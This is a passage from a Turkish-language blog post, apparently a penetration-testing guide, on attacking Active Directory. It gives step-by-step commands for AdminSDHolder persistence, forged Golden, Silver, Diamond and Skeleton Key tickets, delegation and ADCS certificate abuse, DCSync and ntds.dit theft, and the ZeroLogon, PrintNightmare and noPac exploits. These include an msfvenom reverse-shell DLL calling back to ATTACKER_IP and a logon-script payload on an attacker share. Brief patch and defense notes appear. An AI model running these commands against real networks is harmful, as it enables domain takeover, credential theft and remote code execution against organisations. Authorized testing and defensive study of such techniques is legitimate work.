Get-DomainUser -AdminCount | select samaccountname, admincount, memberof
Get-DomainGroup -AdminCount | select name, admincount

# AdminSDHolder ACL&#39;si — bu nesneye yazma = tüm korunan hesaplara kalıcı erişim
Get-DomainObjectAcl &amp;quot;CN=AdminSDHolder,CN=System,DC=corp,DC=local&amp;quot; -ResolveGUIDs

# AdminSDHolder&#39;a GenericAll ekle → saatlik SDProp çalışması ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity &amp;quot;CN=AdminSDHolder,CN=System,DC=corp,DC=local&amp;quot; `
  -PrincipalIdentity jdoe -Rights All

# Manuel SDProp tetikleme (60dk beklemeden)
Invoke-ADSDPropagation  # veya regsvrtools
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Savunma:&lt;/strong&gt; Protected Users grubundaki hesaplar SDProp&#39;tan etkilenmez ama AdminSDHolder ACL&#39;si hâlâ tehlikelidir.&lt;/p&gt;
&lt;h4&gt;4.8 SPN Manipülasyonu (servicePrincipalName)&lt;/h4&gt;
&lt;p&gt;GenericWrite hakkınız varsa, herhangi bir kullanıcıya SPN ekleyebilirsiniz. Bu, onu Kerberoasting hedefine dönüştürür.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# SPN ekle
Set-DomainObject -Identity jdoe -Set @{serviceprincipalname=&#39;http/fake.corp.local&#39;}

# SPN sil (test sonrası temizlik)
Set-DomainObject -Identity jdoe -Clear serviceprincipalname
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4.9 logonScript ve scriptPath Attribute Abuse&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# GenericWrite → logon script belirle → kullanıcı login&#39;de çalışır
Set-ADUser -Identity target_user -ScriptPath &#39;&#92;&#92;attacker_ip&#92;share&#92;payload.bat&#39;
Set-DomainObject -Identity target_user -Set @{scriptpath=&#39;&#92;&#92;10.10.10.50&#92;share&#92;payload.bat&#39;}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 5: Kerberos Bilet Saldırıları&lt;/h3&gt;
&lt;h4&gt;5.1 Golden Ticket&lt;/h4&gt;
&lt;p&gt;Domain Controller üzerinde &lt;code&gt;krbtgt&lt;/code&gt; hash&#39;i ele geçirildiğinde, saldırgan herhangi bir kullanıcı için &lt;strong&gt;sahte TGT (Golden Ticket)&lt;/strong&gt; oluşturabilir. KDC bu bileti doğrulayamaz çünkü kendi &lt;code&gt;krbtgt&lt;/code&gt; hash&#39;i ile imzalanmıştır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gereksinimler:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;krbtgt&lt;/code&gt; NTLM hash (DCSync ile alınır)&lt;/li&gt;
&lt;li&gt;Domain SID (&lt;code&gt;whoami /user&lt;/code&gt; veya &lt;code&gt;Get-DomainSID&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Hedef kullanıcı adı (var olmayan da olabilir)&lt;/li&gt;
&lt;li&gt;Domain FQDN&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Domain SID öğren
Get-DomainSID   # PowerView
whoami /user    # SID&#39;in S-1-5-21-XXXX-YYYY-ZZZZ-500 kısmını kullan

# Mimikatz — Golden Ticket oluştur ve belleğe enjekte et
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /ptt

# Rubeus — Golden Ticket oluştur
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt

# Dosyaya kaydet
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /outfile:golden.kirbi
Rubeus.exe ptt /ticket:golden.kirbi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Kalıcılık:&lt;/strong&gt; &lt;code&gt;krbtgt&lt;/code&gt; hash değişmediği sürece Golden Ticket geçerlidir. Sıfırlama sonrası bile eski hash&#39;le oluşturulmuş biletler ~20 dakika geçerli kalabilir. Tamamen temizlemek için &lt;code&gt;krbtgt&lt;/code&gt; şifresi &lt;strong&gt;2 kez&lt;/strong&gt; değiştirilmelidir (zira eski hash yedekte tutulur).&lt;/p&gt;
&lt;h4&gt;5.2 Silver Ticket&lt;/h4&gt;
&lt;p&gt;Bir hizmet hesabının NTLM hash&#39;ini bildiğinizde, o hizmet için &lt;strong&gt;sahte TGS (Silver Ticket)&lt;/strong&gt; oluşturabilirsiniz. KDC&#39;ye hiç dokunmaz — tespit edilmesi çok zordur.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Mimikatz — Silver Ticket
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:fileserver.corp.local /service:cifs /rc4:SERVICE_HASH /ptt

# Rubeus — Silver Ticket
Rubeus.exe silver /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs/fileserver.corp.local /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Yaygın SPN hedefleri:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cifs/DC01.corp.local&lt;/code&gt; — dosya paylaşımı erişimi&lt;/li&gt;
&lt;li&gt;&lt;code&gt;host/DC01.corp.local&lt;/code&gt; — WMI, scheduled task&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rpcss/DC01.corp.local&lt;/code&gt; — WMI&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ldap/DC01.corp.local&lt;/code&gt; — DCSync (krbtgt hash&#39;i olmadan bile)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http/intranet.corp.local&lt;/code&gt; — web uygulaması&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5.3 Diamond Ticket&lt;/h4&gt;
&lt;p&gt;Sahte TGT oluşturmak yerine, mevcut geçerli bir TGT&#39;yi &lt;code&gt;krbtgt&lt;/code&gt; key ile decrypt edip içini değiştirip tekrar şifreleriz. Tespit sistemleri için daha gerçekçi görünür.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowprivuser /ticket:BASE64_TGT /krbkey:AES256_KRBTGT /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5.4 Skeleton Key&lt;/h4&gt;
&lt;p&gt;Domain Controller&#39;a mimikatz ile Skeleton Key yüklenir. Bundan sonra tüm hesaplar için ek şifre olarak &lt;code&gt;mimikatz&lt;/code&gt; çalışır. Reboot sonrası kaybolur.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# DC üzerinde (Remote kod çalıştırma gerekli)
privilege::debug
misc::skeleton
# Artık corp.local&#92;administrator:mimikatz ile giriş yapılabilir
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 6: Delegation Saldırıları&lt;/h3&gt;
&lt;p&gt;Kerberos Delegation, bir kullanıcının Kerberos biletinin bir hizmet tarafından başka bir hizmete iletilmesine izin verir. Üç türü vardır ve her biri farklı saldırı yüzeyi sunar.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ad-delegation-attacks.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;6.1 Unconstrained Delegation&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Attribute:&lt;/strong&gt; &lt;code&gt;TrustedForDelegation = TRUE&lt;/code&gt; (UserAccountControl bit 0x80000)&lt;/p&gt;
&lt;p&gt;Kullanıcı bu bilgisayardaki bir hizmete authenticate olduğunda, o kullanıcının TGT&#39;si bellekte saklanır. Saldırgan makineyi ele geçirirse bellekteki tüm TGT&#39;leri dump edebilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Unconstrained delegation aktif bilgisayarları bul (DC&#39;ler hariç)
Get-DomainComputer -Unconstrained | select name, dnshostname, operatingsystem

# Bellekteki TGT&#39;leri dump et (local admin gerekli)
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export

# DC TGT&#39;sini çalmak için coerce saldırısı + monitor
Rubeus.exe monitor /interval:5 /nowrap   # bir pencerede bekle

# Başka pencerede: DC&#39;yi bize auth etmeye zorla
python3 PetitPotam.py WEBSERVER01_IP DC01_IP   # MS-EFSR
# veya
python3 SpoolSample.py DC01 WEBSERVER01         # MS-RPRN Printer Bug

# DC TGT geldi → inject et
Rubeus.exe ptt /ticket:BASE64_DC_TGT

# DCSync çalıştır
python3 secretsdump.py -k -no-pass DC01.corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6.2 Constrained Delegation&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Attribute:&lt;/strong&gt; &lt;code&gt;msDS-AllowedToDelegateTo&lt;/code&gt; — belirli SPN listesi&lt;/p&gt;
&lt;p&gt;Hizmet hesabı, yalnızca bu listedeki SPN&#39;lere kullanıcı adına erişebilir. &lt;strong&gt;Protocol transition&lt;/strong&gt; (S4U2Self) aktifse, hesap herhangi bir kullanıcı adına TGS alabilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Constrained delegation ile hesapları bul
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Impacket findDelegation.py
python3 findDelegation.py corp.local/jdoe:Password123

# Rubeus — S4U2Self + S4U2Proxy
Rubeus.exe s4u /user:svc_web /rc4:HASH_OF_SVC_WEB /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
# veya AES hash ile
Rubeus.exe s4u /user:svc_web /aes256:AES_HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt

# Erişim testi
dir &#92;&#92;DC01.corp.local&#92;C$
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6.3 Resource-Based Constrained Delegation (RBCD)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Attribute:&lt;/strong&gt; &lt;code&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/code&gt; — hedef bilgisayar üzerinde set edilir&lt;/p&gt;
&lt;p&gt;RBCD&#39;nin anahtarı: kaynağın (hedef bilgisayar) üzerinde &lt;code&gt;GenericWrite&lt;/code&gt; veya &lt;code&gt;WriteDACL&lt;/code&gt; hakkınız olması yeterlidir. Saldırgan bir makine hesabı oluşturur, hedef bilgisayarın bu attribute&#39;una kendi makine hesabını yazar ve S4U ile yönetici bileti alır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ön Koşullar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;msDS-MachineAccountQuota&lt;/code&gt; ≥ 1 (default: 10, domain kullanıcıları makine hesabı oluşturabilir)&lt;/li&gt;
&lt;li&gt;Hedef bilgisayar üzerinde GenericWrite / GenericAll / WriteDACL&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# 1. Makine hesabı kota kontrolü
Get-DomainObject -Identity &amp;quot;DC=corp,DC=local&amp;quot; -Properties ms-DS-MachineAccountQuota

# 2. Makine hesabı oluştur (PowerMad)
Import-Module .&#92;Powermad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString &#39;FakePass123!&#39; -AsPlainText -Force)

# 3. Makine hesabının SID&#39;ini al
$machineSid = (Get-DomainComputer FAKEMACHINE).objectsid

# 4. Hedef bilgisayarda msDS-AllowedToActOnBehalfOfOtherIdentity set et
$sd = New-Object Security.AccessControl.RawSecurityDescriptor &amp;quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$machineSid)&amp;quot;
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{&#39;msds-allowedtoactonbehalfofotheridentity&#39;=$sdBytes}

# Doğrulama
Get-DomainComputer TARGET_COMPUTER -Properties msds-allowedtoactonbehalfofotheridentity

# 5. S4U2Self + S4U2Proxy (Rubeus)
$fakehash = (Get-Domain).Name  # RC4 hash hesapla
Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH_FROM_ABOVE /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt

# 6. Erişim testi
dir &#92;&#92;TARGET_COMPUTER.corp.local&#92;C$
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Linux — Impacket ile RBCD saldırısı
python3 rbcd.py corp.local/jdoe:&#39;Password123&#39; -action write -delegate-from &#39;FAKEMACHINE$&#39; -delegate-to &#39;TARGET_COMPUTER$&#39;
python3 getST.py corp.local/&#39;FAKEMACHINE$&#39;:&#39;FakePass123!&#39; -spn cifs/TARGET_COMPUTER.corp.local -impersonate Administrator
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass TARGET_COMPUTER.corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 7: AD Certificate Services (ADCS) Saldırıları&lt;/h3&gt;
&lt;p&gt;ADCS, kurumsal PKI altyapısı sağlar. Yanlış yapılandırılmış sertifika şablonları, domain yöneticisi seviyesinde kimlik taklidi imkânı tanır.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ad-adcs-attacks.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;7.1 Keşif&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Certipy ile ADCS keşfi
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -vulnerable -stdout
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -old-bloodhound -output adcs_bh

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u jdoe -p &#39;Password123&#39; -M adcs

# Certify (Windows)
Certify.exe find /vulnerable /currentuser
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7.2 ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Koşullar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Şablon flag&#39;i: &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; set&lt;/li&gt;
&lt;li&gt;EKU: Client Authentication veya Smart Card Logon&lt;/li&gt;
&lt;li&gt;Yönetici onayı yok&lt;/li&gt;
&lt;li&gt;Domain kullanıcıları kayıt olabilir&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Sertifika iste — SAN olarak Administrator@corp.local belirt
certipy req -u jdoe@corp.local -p &#39;Password123&#39; -ca CORP-CA -template VulnerableTemplate &#92;
  -upn administrator@corp.local -dc-ip 10.10.10.10

# Sertifikayla kimlik doğrula → NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain corp.local

# NT hash ile PTH
python3 secretsdump.py -hashes :NT_HASH administrator@10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7.3 ESC2 — Any Purpose EKU&lt;/h4&gt;
&lt;p&gt;Şablonun EKU&#39;su &lt;code&gt;Any Purpose&lt;/code&gt; ise, sertifika Enrollment Agent olarak kullanılabilir ve ESC3 saldırısına geçilebilir.&lt;/p&gt;
&lt;h4&gt;7.4 ESC3 — Certificate Request Agent&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Adım 1: Enrollment Agent sertifikası al (ESC3 şablonundan)
certipy req -u jdoe@corp.local -p &#39;Password123&#39; -ca CORP-CA -template ESC3Template

# Adım 2: Enrollment Agent sertifikasıyla başka kullanıcı adına sertifika iste
certipy req -u jdoe@corp.local -p &#39;Password123&#39; -ca CORP-CA -template User &#92;
  -on-behalf-of &#39;corp&#92;administrator&#39; -pfx agent.pfx -dc-ip 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7.5 ESC4 — Template ACL Abuse&lt;/h4&gt;
&lt;p&gt;Şablon üzerinde WriteDACL/GenericWrite varsa, şablonu ESC1&#39;e dönüştürebilirsiniz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ESC4: şablonu değiştir → ESC1&#39;e dönüştür → ESC1 saldırısını yap → geri al
certipy template -u jdoe@corp.local -p &#39;Password123&#39; -template VulnerableTemplate &#92;
  -save-old -dc-ip 10.10.10.10

# Şimdi ESC1 saldırısı yap
certipy req -u jdoe@corp.local -p &#39;Password123&#39; -ca CORP-CA -template VulnerableTemplate &#92;
  -upn administrator@corp.local -dc-ip 10.10.10.10

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Temizlik: eski şablon ayarlarını geri yükle
certipy template -u jdoe@corp.local -p &#39;Password123&#39; -template VulnerableTemplate &#92;
  -configuration old_config.json -dc-ip 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7.6 ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/h4&gt;
&lt;p&gt;CA seviyesinde bu flag aktifse, tüm şablonlar ESC1 gibi davranır.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# CA flag kontrolü
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -stdout | grep -i &amp;quot;ATTRIBUTESUBJECTALTNAME2&amp;quot;

# Flag aktifse, herhangi bir Client Auth şablonunda SAN belirtebilirsiniz
certipy req -u jdoe@corp.local -p &#39;Password123&#39; -ca CORP-CA -template User &#92;
  -upn administrator@corp.local -dc-ip 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7.7 ESC8 — NTLM Relay → AD CS HTTP&lt;/h4&gt;
&lt;p&gt;AD CS HTTP enrollment endpoint&#39;i (certsrv) NTLM kimlik doğrulamasını kabul ediyorsa, saldırgan DC&#39;yi coerce ederek DC&#39;nin NTLM kimlik bilgilerini ADCS&#39;e relay edebilir ve DC adına sertifika alabilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. NTLM relay başlat — ADCS HTTP&#39;ye relay
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs &#92;
  --template DomainController

# 2. DC&#39;yi coerce et (PetitPotam — MS-EFSR)
python3 PetitPotam.py ATTACKER_IP DC01_IP
# veya
python3 dfscoerce.py ATTACKER_IP DC01_IP          # MS-DFSNM
python3 shadowcoerce.py ATTACKER_IP DC01_IP        # MS-FSRVP

# 3. Relay sertifikayı alır (base64) → dosyaya kaydet
# 4. DC sertifikasıyla kimlik doğrula → NT hash
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -domain corp.local

# 5. DCSync
python3 secretsdump.py -hashes :DC01_NT_HASH &#39;corp.local/DC01$@10.10.10.10&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 8: DCSync ve Domain Ele Geçirme&lt;/h3&gt;
&lt;p&gt;DCSync, Domain Controller olmadan replication API&#39;sini kullanarak tüm domain hash&#39;lerini dökmektir. İki temel hak gerektirir.&lt;/p&gt;
&lt;h4&gt;8.1 Gerekli Haklar&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Mevcut DCSync hakkı olanları bul
Get-DomainObjectAcl &amp;quot;DC=corp,DC=local&amp;quot; -ResolveGUIDs | Where-Object {
  $_.ObjectAceType -match &amp;quot;DS-Replication-Get-Changes&amp;quot; -and
  $_.ActiveDirectoryRights -match &amp;quot;ExtendedRight&amp;quot;
} | select IdentityReferenceName, ObjectAceType

# DCSync için gereken 3 genişletilmiş hak:
# - DS-Replication-Get-Changes         (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-All     (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-In-Filtered-Set (89e95b76-444d-4c62-991a-0facbeda640c)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8.2 DCSync Saldırısı&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket secretsdump.py (Linux — en yaygın)
python3 secretsdump.py corp.local/jdoe:&#39;Password123&#39;@10.10.10.10
python3 secretsdump.py corp.local/jdoe:&#39;Password123&#39;@dc01.corp.local -just-dc
python3 secretsdump.py corp.local/jdoe:&#39;Password123&#39;@dc01.corp.local -just-dc-ntlm
python3 secretsdump.py corp.local/jdoe:&#39;Password123&#39;@dc01.corp.local -just-dc-user krbtgt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Mimikatz (Windows — DC&#39;ye network erişim gerekli)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8.3 ntds.dit Çıkarma (Volume Shadow Copy)&lt;/h4&gt;
&lt;p&gt;DC&#39;ye local erişim varsa, &lt;code&gt;ntds.dit&lt;/code&gt; dosyasını doğrudan kopyalayabilirsiniz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-batch&quot;&gt;REM Gölge kopya oluştur
vssadmin create shadow /for=C:

REM ntds.dit ve SYSTEM hive&#39;ını kopyala
copy &#92;&#92;?&#92;GLOBALROOT&#92;Device&#92;HarddiskVolumeShadowCopy1&#92;Windows&#92;NTDS&#92;ntds.dit C:&#92;temp&#92;ntds.dit
reg save HKLM&#92;SYSTEM C:&#92;temp&#92;SYSTEM.hive

REM Saldırı makinesine aktar
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket ile çözümle
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL -outputfile domain_hashes
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8.4 DSRM Account (Local DC Admin)&lt;/h4&gt;
&lt;p&gt;DSRM (Directory Services Restore Mode), DC&#39;nin yerel yönetici hesabıdır. Genelde devre dışıdır ama çalıştırılabilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# DC üzerinde DSRM hesabını aktifleştir
# HKLM&#92;System&#92;CurrentControlSet&#92;Control&#92;Lsa&#92; → DsrmAdminLogonBehavior = 2
New-ItemProperty &amp;quot;HKLM:&#92;System&#92;CurrentControlSet&#92;Control&#92;Lsa&#92;&amp;quot; -Name &amp;quot;DsrmAdminLogonBehavior&amp;quot; -Value 2 -PropertyType DWORD

# DSRM şifresini set et (DC üzerinde)
ntdsutil &amp;quot;set dsrm password&amp;quot; &amp;quot;reset password on server null&amp;quot; quit quit

# DC&#39;ye yerel admin olarak bağlan
crackmapexec smb DC01 -u Administrator -H DSRM_NTLM_HASH --local-auth
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Bölüm 9: Kritik CVE&#39;ler&lt;/h3&gt;
&lt;h4&gt;9.1 ZeroLogon (CVE-2020-1472)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Teknik:&lt;/strong&gt; Netlogon protokolünün &lt;code&gt;NetrServerAuthenticate3&lt;/code&gt; fonksiyonundaki AES-CFB8 şifreleme hatası. IV olarak sıfır kullanıldığında, sıfır-dolu bir client challenge ile yaklaşık 1/256 olasılıkla komputasyon doğrulama atlayabilir. 2^32 deneme gerekir ama ortalama 256 denemede başarıya ulaşır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Etki:&lt;/strong&gt; Kimlik doğrulama olmadan DC&#39;nin makine hesabı şifresini sıfırlama → domain ele geçirme.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Güvenlik araştırması için — PoC (yetkili test)
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# DC makine hesabı boş şifre ile authenticate
python3 secretsdump.py -no-pass -just-dc corp.local/&#39;DC01$&#39;@10.10.10.10

# ÖNEMLI: Bu saldırı DC&#39;nin şifresini sıfırlar ve domain çakılabilir
# MUTLAKA eski şifreyi geri yüklemelisiniz (impacket restorepassword.py)
python3 restorepassword.py corp.local/DC01@10.10.10.10 -target-ip 10.10.10.10 -hexpass ORIGINAL_HEX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Yama:&lt;/strong&gt; MS20-073 — Ekim 2020&#39;den itibaren zorunlu Netlogon güvenli kanal.&lt;/p&gt;
&lt;h4&gt;9.2 PrintNightmare (CVE-2021-1675 / CVE-2021-34527)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Teknik:&lt;/strong&gt; Windows Print Spooler (spoolsv.exe) servisinin &lt;code&gt;RpcAddPrinterDriverEx&lt;/code&gt; fonksiyonu, yetkisiz kullanıcıların uzaktan SYSTEM yetkileriyle DLL yüklemesine izin verir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Impacket — PrintNightmare exploit
python3 CVE-2021-1675.py corp.local/jdoe:&#39;Password123&#39;@10.10.10.10 &#39;&#92;&#92;ATTACKER_IP&#92;share&#92;evil.dll&#39;

# cube0x0 PoC (Windows&#39;tan)
Import-Module .&#92;CVE-2021-1675.ps1
Invoke-Nightmare -DLL &amp;quot;&#92;&#92;ATTACKER_IP&#92;share&#92;evil.dll&amp;quot;

# Önce SMB share + DLL hazırla
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll &amp;gt; evil.dll
python3 -m impacket.smbserver share . -smb2support
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Yama:&lt;/strong&gt; MS21-034 + Print Spooler&#39;ı gereksiz sistemlerde devre dışı bırakın.&lt;/p&gt;
&lt;h4&gt;9.3 noPac — sAMAccountName Spoofing (CVE-2021-42278 + CVE-2021-42287)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Teknik:&lt;/strong&gt; İki CVE birleşimidir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CVE-2021-42278: Makine hesabının &lt;code&gt;sAMAccountName&lt;/code&gt;&#39;i üzerinde &lt;code&gt;$&lt;/code&gt; son eki zorunlu değil — herhangi bir isim kullanılabilir.&lt;/li&gt;
&lt;li&gt;CVE-2021-42287: TGT talebinde bulunan kullanıcı silinirse/yeniden adlandırılırsa KDC, DC hesabını bulup bilet üretir.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Sonuç:&lt;/strong&gt; Makine hesabı oluşturun → &lt;code&gt;sAMAccountName&lt;/code&gt; = DC adı → TGT isteyin → hesabı silin/yeniden adlandırın → KDC DC biletini verir → DCSync.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# noPac.py (tek araç, tüm adımları otomatikleştirir)
python3 noPac.py corp.local/jdoe:&#39;Password123&#39; -dc-ip 10.10.10.10 -dc-host DC01 -shell --impersonate administrator
python3 noPac.py corp.local/jdoe:&#39;Password123&#39; -dc-ip 10.10.10.10 -dc-host DC01 --dump --impersonate administrator

# Manuel adımlar
# 1. Makine hesabı oluştur (msDS-MachineAccountQuota &amp;gt;= 1)
python3 addcomputer.py corp.local/jdoe:&#39;Password123&#39; -method ldaps -computer-name &#39;ATTACK$&#39; -computer-pass &#39;P@ss1234&#39;
# 2. sAMAccountName&#39;i DC adı ile aynı yap ($ olmadan)
python3 renameMachine.py corp.local/jdoe:&#39;Password123&#39; -current-name &#39;ATTACK$&#39; -new-name &#39;DC01&#39;
# 3. TGT iste
python3 getTGT.py corp.local/&#39;DC01&#39;:&#39;P@ss1234&#39; -dc-ip 10.10.10.10
# 4. sAMAccountName&#39;i değiştir (KDC DC01&#39;i bulamaz → DC01$&#39;a fallback)
python3 renameMachine.py corp.local/jdoe:&#39;Password123&#39; -current-name &#39;DC01&#39; -new-name &#39;ATTACK2$&#39;
# 5. DCSync
python3 secretsdump.py -k -no-pass DC01@10.10.10.10 -just-dc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Yama:&lt;/strong&gt; MS21-071 — Kasım 2021. &lt;code&gt;sAMAccountName&lt;/code&gt;&#39;de &lt;code&gt;$&lt;/code&gt; zorunluluğu getirildi.&lt;/p&gt;
&lt;h4&gt;9.4 PetitPotam (CVE-2021-36942)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Teknik:&lt;/strong&gt; MS-EFSR (Encrypting File System Remote) protokolünün &lt;code&gt;EfsRpcOpenFileRaw&lt;/code&gt; fonksiyonu, hedef sunucuyu saldırgan UNC yoluna NTLM authenticate olmaya zorlar. Kimlik doğrulama gerektirmez.&lt;/p&gt;
